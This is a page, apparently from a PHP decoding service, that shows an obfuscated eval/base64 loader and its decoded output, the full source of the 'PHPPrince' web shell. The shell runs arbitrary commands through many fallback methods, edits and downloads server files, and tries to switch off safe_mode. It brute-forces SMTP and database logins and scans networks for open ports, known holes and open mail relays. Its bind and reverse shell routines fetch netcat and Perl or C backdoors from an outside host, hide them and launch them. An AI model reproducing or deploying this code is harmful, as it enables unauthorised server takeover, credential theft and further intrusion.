Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php eval(gzinflate(str_rot13(base64_decode('7b12e9s4sij8+czzzH9g2JpDmtCy5CWLFCrj2EHHp7..

Decoded Output download

?><?php
#--Config--#
$login_password='ssh';#Login password
$IP=array();#Allowed users [$IP=array('192.168.100.5','192.168.100.9');]
#----------#
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
ini_set('max_execution_time','0');
ini_set('memory_limit','9999M');
ini_set('output_buffering',0);
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS;
if(!isset($_POST))$_POST=&$HTTP_POST_VARS;
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS;
if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES;
$_REQUEST = array_merge($_GET,$_POST);
if(get_magic_quotes_gpc()){
foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value);
}
if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die('Access denied!');
function hlinK($str=''){
$myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
$ret=$_SERVER['PHP_SELF'].'?';
$new=explode('&',$str);
foreach($_GET as $key => $v){
$add=1;
foreach($new as $m){
$el=explode('=',$m);
if($el[0]==$key)$add=0;
}
if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";}
}
$ret.=$str;
return $ret;
}
header('Cache-Control: no-cache, must-revalidate');
header('Expires: Mon, 7 Aug 1987 05:00:00 GMT');
$et='</td></tr></table>';
if(!empty($login_password)){
if(!empty($_REQUEST['fpassw'])){
if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
header('Location: '.hlinK());
}
if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></form>$et</body></html>");
}
if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']);
$disablefunctions=ini_get('disable_functions');
$disablefunctions=explode(',',$disablefunctions);
function checkthisporT($ip,$port,$timeout,$type=0){
if(!$type){
$scan=fsockopen($ip,$port,$n,$s,$timeout);
if($scan){fclose($scan);return 1;}
}
elseif(function_exists('socket_set_timeout')){
$scan=fsockopen("udp://$ip",$port);
if($scan){
socket_set_timeout($scan,$timeout);
fwrite($scan,"");
$s=time();
fread($scan,1);
if((time()-$s)>=$timeout){fclose($scan);return 1;}
}
}
return 0;
}
if(!function_exists('is_executable')){
function is_executable($addr){
return 0;
}
}
if(!function_exists('file_get_contents')){
function file_get_contents($addr){
$a=fopen($addr,'r');
$tmp=fread($a,filesize($a));
fclose($a);
if($a)return $tmp;else return null;
}
}
if(!function_exists('file_put_contents')){
function file_put_contents($addr,$con){
$a=fopen($addr,'w');
if(!$a)return 0;
$t=fwrite($a,$con);
fclose($a);
if($t)return strlen($con);
return 0;
}
}
function file_add_contentS($addr,$con){
$a=fopen($addr,'a');
if(!$a)return 0;
fwrite($a,$con);
fclose($a);
return strlen($con);
}
if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']);
if(!empty($_REQUEST['downloaD'])){
ob_clean();
$dl=$_REQUEST['downloaD'];
$con=file_get_contents($dl);
header('Content-type: application/octet-stream');
header("Content-disposition: attachment; filename=\"$dl\";");
header('Content-length: '.strlen($con));
echo $con;
exit;
}
if(!empty($_REQUEST['imagE'])){
$img=$_REQUEST['imagE'];
header('Content-type: imagE/gif');
header("Content-length: ".filesize($img));
header("Last-Modified: ".date('r',filemtime($img)));
echo file_get_contents($img);
exit;
}
if(!empty($_REQUEST['exT'])){
$ex=$_REQUEST['exT'];
$e=get_extension_funcs($ex);
echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';}
echo '</body></html>';
exit;
}
function showsizE($size){
if($size>=1073741824)$size=round(($size/1073741824),2).' GB';
elseif($size>=1048576)$size=round(($size/1048576),2).' MB';
elseif($size>=1024)$size=round(($size/1024),2).' KB';
else $size.=' B';
return $size;
}
$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0;
$errorbox="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td><b>Error: </b>";
$v='1.9';
$cwd=getcwd();
$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td align='center'>";
$intro="<center><table border=0 style='border-collapse: collapse'><tr><td bgcolor='#666666'><b>Script:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> PHPPrince<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> Prince<br><b>Country:</b> Romania<br><b>Website:</b> <a href='http://kkt.at.ua/' target='_blank'>http://kkt.at.ua/</a><br><b>Email:</b> <a href='mailto:[email protected]?subject=PHPPrince'>[email protected]</a><br><noscript>".str_repeat('-=-',25)."<br><b>Error: Enable JavaScript in your browser!!!</b></noscript>$et</center>";
$footer="${msgbox}PHPPrince v$v - Powered By <a href='Prince' target='_blank'>Prince</a>$et";
$hcwd="<input type=hidden name=workingdiR value='$cwd'>";
$t="<table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#333333'>";
$crack="</td><td bgcolor='#333333'></td></tr><form method='POST' name=form><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
function checkfunctioN($func){
global $disablefunctions,$safemode;
$safe=array('passthru','system','exec','shell_exec','popen','proc_open');
if($safemode=='ON' && in_array($func,$safe))return 0;
elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1;
return 0;
}
function whereistmP(){
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function shelL($command){
global $windows;
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(checkfunctioN('exec')){exec($command,$output);$output=join("
",$output);$exec=$output;}
elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command);
elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command);
elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command);
elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command);
elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
function getiT($get){
$fo=strtolower(ini_get('allow_url_fopen'));
$ui=strtolower(ini_get('allow_url_include'));
if($fo || $fo=='on')$con=file_get_contents($get);
elseif($ui || $ui=='on'){
ob_start();
include($get);
$con=ob_get_contents();
ob_end_clean();
}
else{
$u=parse_url($get);
$host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port'];
$url=fsockopen($host,$port,$en,$es,12);
fputs($url,"GET $file HTTP/1.0
Accept-Encoding: text
Host: $host
Referer: $host
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)

");
$tmp=$con='';
while($tmp!="
")$tmp=fgets($url);
while(!feof($url))$con.=fgets($url);
}
return $con;
}
function downloadiT($get,$put){
$con=getiT($get);
$mk=file_put_contents($put,$con);
if($mk)return 1;
return 0;
}
function winshelL($command){
$name=whereistmP()."\".uniqid('NJ');
win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command){
$name=whereistmP()."\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function srvshelL($command){
$name=whereistmP()."\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\windows\system32\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws){
$exec=$ws->exec("cmd.exe /c $command"); 
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command){
$perl=new perl();
ob_start();
$perl->eval("system('$command')");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function smtpchecK($addr,$user,$pass,$timeout){
$sock=fsockopen($addr,25,$n,$s,$timeout);
if(!$sock)return -1;
fread($sock,1024);
fputs($sock,'ehlo '.uniqid('NJ')."
");
$res=substr(fgets($sock,512),0,1);
if($res!='2')return 0;
fgets($sock,512);fgets($sock,512);fgets($sock,512);
fputs($sock,"AUTH LOGIN
");
$res=substr(fgets($sock,512),0,3);
if($res!='334')return 0;
fputs($sock,base64_encode($user)."
");
$res=substr(fgets($sock,512),0,3);
if($res!='334')return 0;
fputs($sock,base64_encode($pass)."
");
$res=substr(fgets($sock,512),0,3);
if($res!='235')return 0;
return 1;
}
function mysqlchecK($host,$user,$pass,$timeout){
if(function_exists('mysql_connect')){
$l=mysql_connect($host,$user,$pass);
if($l)return 1;
}
return 0;
}
function mssqlchecK($host,$user,$pass,$timeout){
if(function_exists('mssql_connect')){
$l=mssql_connect($host,$user,$pass);
if($l)return 1;
}
return 0;
}
function checksmtP($host,$timeout){
$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com';
$sock=fsockopen($host,25,$n,$s,$timeout);
if(!$sock)return -1;
$res=substr(fgets($sock,512),0,3);
if($res!='220')return 0;
fputs($sock,'HELO '.uniqid('NJ')."
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
fputs($sock,"MAIL FROM: <$from>
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
fputs($sock,"RCPT TO: <[email protected]>
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
fputs($sock,"DATA
");
$res=substr(fgets($sock,512),0,3);
if($res!='354')return 0;
fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>
Subject: ".uniqid('NJ')."
MIME-Version: 1.0
Content-Type: text/plain;

".uniqid('Hello ',true)."
.
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
return 1;
}
function replace_stR($s,$h){
$ret=$h;
foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret);
return $ret;
}
function check_urL($url,$method,$search='200',$timeout=3){
$u=parse_url($url);
$method=strtoupper($method);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
$data=(!empty($u['query']))?$u['query']:'';
if(!empty($data))$data="?$data";
$sock=fsockopen($host,$port,$en,$es,$timeout);
if($sock){
fputs($sock,"$method $file$data HTTP/1.0
");
fputs($sock,"Host: $host
");
if($method=='GET')fputs($sock,"
");
elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded
Content-length: '.strlen($data)."
Accept-Encoding: text
Connection: close

$data");
else return 0;
if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;}
while(!feof($sock)){
$res=fgets($sock);
if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
}
fclose($sock);
}
return 0;
}
function get_sw_namE($host,$timeout){
$sock=fsockopen($host,80,$en,$es,$timeout);
if($sock){
$page=uniqid('NJ');
fputs($sock,"GET /$page HTTP/1.0

");
while(!feof($sock)){
$con=fgets($sock);
if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
}
fclose($sock);
return -1;
}return 0;
}
function snmpchecK($ip,$com,$timeout){
$res=0;
$n=chr(0x00);
$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n;
$sock=fsockopen("udp://$ip",161);
if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout);
fputs($sock,$packet);
socket_set_timeout($sock,$timeout);
$res=fgets($sock);
fclose($sock);
if($res != '')return 1;else return 0;
}
$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF';
if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');}
function brshelL(){
global $errorbox,$windows,$et,$hcwd;
$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
$addr='http://kkt.at.ua/br';
$error="$errorbox Can not make backdoor file, go to writeable folder.$et";
$n=uniqid('NJ_');
if(!$windows)$n=".$n";
$d=whereistmP();
$name=$d.DIRECTORY_SEPARATOR.$n;
$c=($_REQUEST['C'])?1:0;
if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){
$port=(int)$_REQUEST['port'];
if($windows){
if($c){
$name.='.exe';
$bd=downloadiT("$addr/nc",$name);
shelL("attrib +H $name");
if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
}else{
$name=$name.'.pl';
$bd=downloadiT("$addr/winbind.p",$name);
shelL("attrib +H $name");
if(!$bd)echo $error;else shelL("perl $name $port");
}
}
else{
if($c){
$bd=downloadiT("$addr/bind.c",$name);
if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
}else{
$bd=downloadiT("$addr/bind.p",$name);
if(!$bd)echo $error;else shelL("cd $d;perl $n $port &");
echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
}
}
}
elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
$ip=$_REQUEST['ip'];
$port=(int)$_REQUEST['rport'];
if($windows){
if($c){
$name.='.exe';
$bd=downloadiT("$addr/nc",$name);
shelL("attrib +H $name");
if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
}else{
$name=$name.'.pl';
$bd=downloadiT("$addr/winrc.p",$name);
shelL("attrib +H $name");
if (!$bd)echo $error;else shelL("perl.exe $name $ip $port");
}
}
else{
if($c){
$bd=downloadiT("$addr/rc.c",$name);
if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
}else{
$bd=downloadiT("$addr/rc.p",$name);
if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &");
}
}
echo '<font color=blue>Done!</font>';}
else{echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='50%' bgcolor='#333333'>Bind shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=port value=55501 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input type=submit class=buttons value=Bind></form>$et</td><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='40%' bgcolor='#333333'>Reverse shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#808080'>IP:</td><td bgcolor='#808080'><input type=text name=ip value=";echo $_SERVER['REMOTE_ADDR'];echo " size=17></td></tr><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=rport value=53 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et$et";}}
function showimagE($img){
echo "<center><img border=0 src='".hlinK("imagE=$img&&workingdiR=".getcwd())."'></center>";}
function editoR($file){
global $errorbox,$et,$hcwd,$cwd;
if(is_file($file)){
if(!is_readable($file)){echo "$errorbox File is not readable$et<br>";}
if(!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";}
$data=file_get_contents($file);
echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'>$hcwd<input type=text value='".htmlspecialchars($file)."' size=75 name=file><input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='64'>";
echo htmlspecialchars($data);
echo "</textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$file' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>";
}
else {echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'><input type=text value='$cwd' size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='63'></textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$cwd' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>";
}
echo "$hcwd<input type=submit class=buttons name=Save value=Save></form>$et</center>";
}
function webshelL(){
global $windows,$hcwd,$et,$cwd;
if($windows){
$alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>";
}
else{
$alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>";
if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>";
if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>";
}
echo "<center><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><form method='POST'><tr><td width='20%'><b>Location:</b><input type=text name=workingdiR size=82 value='$cwd'><input class=buttons type=submit value=Change></form>$et<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><tr><td><b>Web Shell:</b></td></tr><td bgcolor='#666666'><textarea rows='23' cols='79'>";
if(!empty($_REQUEST['cmd']))echo shelL($_REQUEST['cmd']);
echo"</textarea></td></tr><form method=post><tr><td bgcolor='#808080'><input type=text size=91 name=cmd value='";if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo "'>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor='#808080'><select name='cmd' width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></form>$et</table><center>";
}
function maileR(){
global $msgbox,$et,$hcwd;
if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
if(mail($to,$subject,$body,"From: $from"))echo "$msgbox<b>Mail sent!</b><br>$et";
}
echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'><td><b>Mailer:</b></td></tr><td width='20%' bgcolor='#666666'>SMTP</td><td bgcolor='#666666'>".ini_get('SMTP').' ('.ini_get('smtp_port').")</td></tr><tr><td bgcolor='#808080'>From:</td><td bgcolor='#808080'><input name=from type=text value='[email protected]' size=55>$hcwd</td><tr><td width='25%' bgcolor='#666666'>To:</td><td bgcolor='#666666'><input name=to type=text value='";if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo "' size=55></td></tr><tr><td bgcolor='#808080'>Subject:</td><td bgcolor='#808080'><input name=subject type=text value='' size=55></td><tr><td bgcolor='#666666'>Body:</td><td bgcolor='#666666'><textarea rows='18' cols='43' name=body></textarea></td></tr><tr><td width='10%' bgcolor='#808080'></td><td bgcolor='#808080' align='right'><input type=submit class=buttons value=Send></form>$et";
}
function scanneR(){
global $hcwd,$et;
if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1';
$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0;
echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br>';
$start=time();
for($i=$from;$i<=$to;$i++){
if($tcp){
if(checkthisporT($target,$i,$timeout)){
$nu++;
$ser='';
if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')';
echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>";
}
}
if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";}
}
$time=time()-$start;
echo "Done! ($time seconds)</font>";
}
elseif(!empty($_REQUEST['securityscanner'])){
echo '<font color=blue>';
$start=time();
$from=$_REQUEST['from'];
$to=(int)$_REQUEST['to'];
$timeout=(int)$_REQUEST['timeout'];
$f=substr($from,strrpos($from,'.')+1);
$from=substr($from,0,strrpos($from,'.'));
if(!empty($_REQUEST['httpscanner'])){
echo 'Loading webserver bug list...';
$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL');
$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>';
}else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:<br><br>";}
for($i=$f;$i<=$to;$i++){
$output=0;
$ip="$from.$i";
if(!empty($_REQUEST['nslookup'])){
$hn=gethostbyaddr($ip);
if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;}
if(!empty($_REQUEST['ipscanner'])){
$port=$_REQUEST['port'];
if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port;
$open=$ser='';
foreach($p as $po){
$scan=checkthisporT($ip,$po,$timeout);
if($scan){
$ser='';
if($ser=getservbyport($po,'tcp'))$ser="($ser)";
$open.=" $po$ser ";
}
}
if($open){echo "$ip) Open ports:$open<br>";$output=1;}

}
if(!empty($_REQUEST['httpbanner'])){
$res=get_sw_namE($ip,$timeout);
if($res){
echo "$ip) Webserver software: ";
if($res==-1)echo 'Unknow';
else echo $res;
echo '<br>';
$output=1;
}
}
if(!empty($_REQUEST['httpscanner'])){
if(checkthisporT($ip,80,$timeout) && !empty($file)){
$admin=array('/admin/','/adm/');
$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
foreach($file as $v){
$vuln=array();
$v=trim($v);
if(!$v || $v{0}=='#')continue;
$v=str_replace('","','^',$v);
$v=str_replace('"','',$v);
$vuln=explode('^',$v);
$page=$cqich=$nukech=$adminch=$userch=$vuln[1];
if(strstr($page,'@CGIDIRS'))
foreach($cgi as $cg){
$cqich=str_replace('@CGIDIRS',$cg,$page);
$url="http://$ip$cqich";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
}
elseif(strstr($page,'@ADMINDIRS'))
foreach($admin as $cg){
$adminch=str_replace('@ADMINDIRS',$cg,$page);
$url="http://$ip$adminch";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
}
elseif(strstr($page,'@USERS'))
foreach($users as $cg){
$userch=str_replace('@USERS',$cg,$page);
$url="http://$ip$userch";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
}
elseif(strstr($page,'@NUKE'))
foreach($nuke as $cg){
$nukech=str_replace('@NUKE',$cg,$page);
$url="http://$ip$nukech";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
}
else{
$url="http://$ip$page";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
}
}
}
}
if(!empty($_REQUEST['smtprelay'])){
if(checkthisporT($ip,25,$timeout)){
$res='';
$res=checksmtP($ip,$timeout);
if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}
}
}
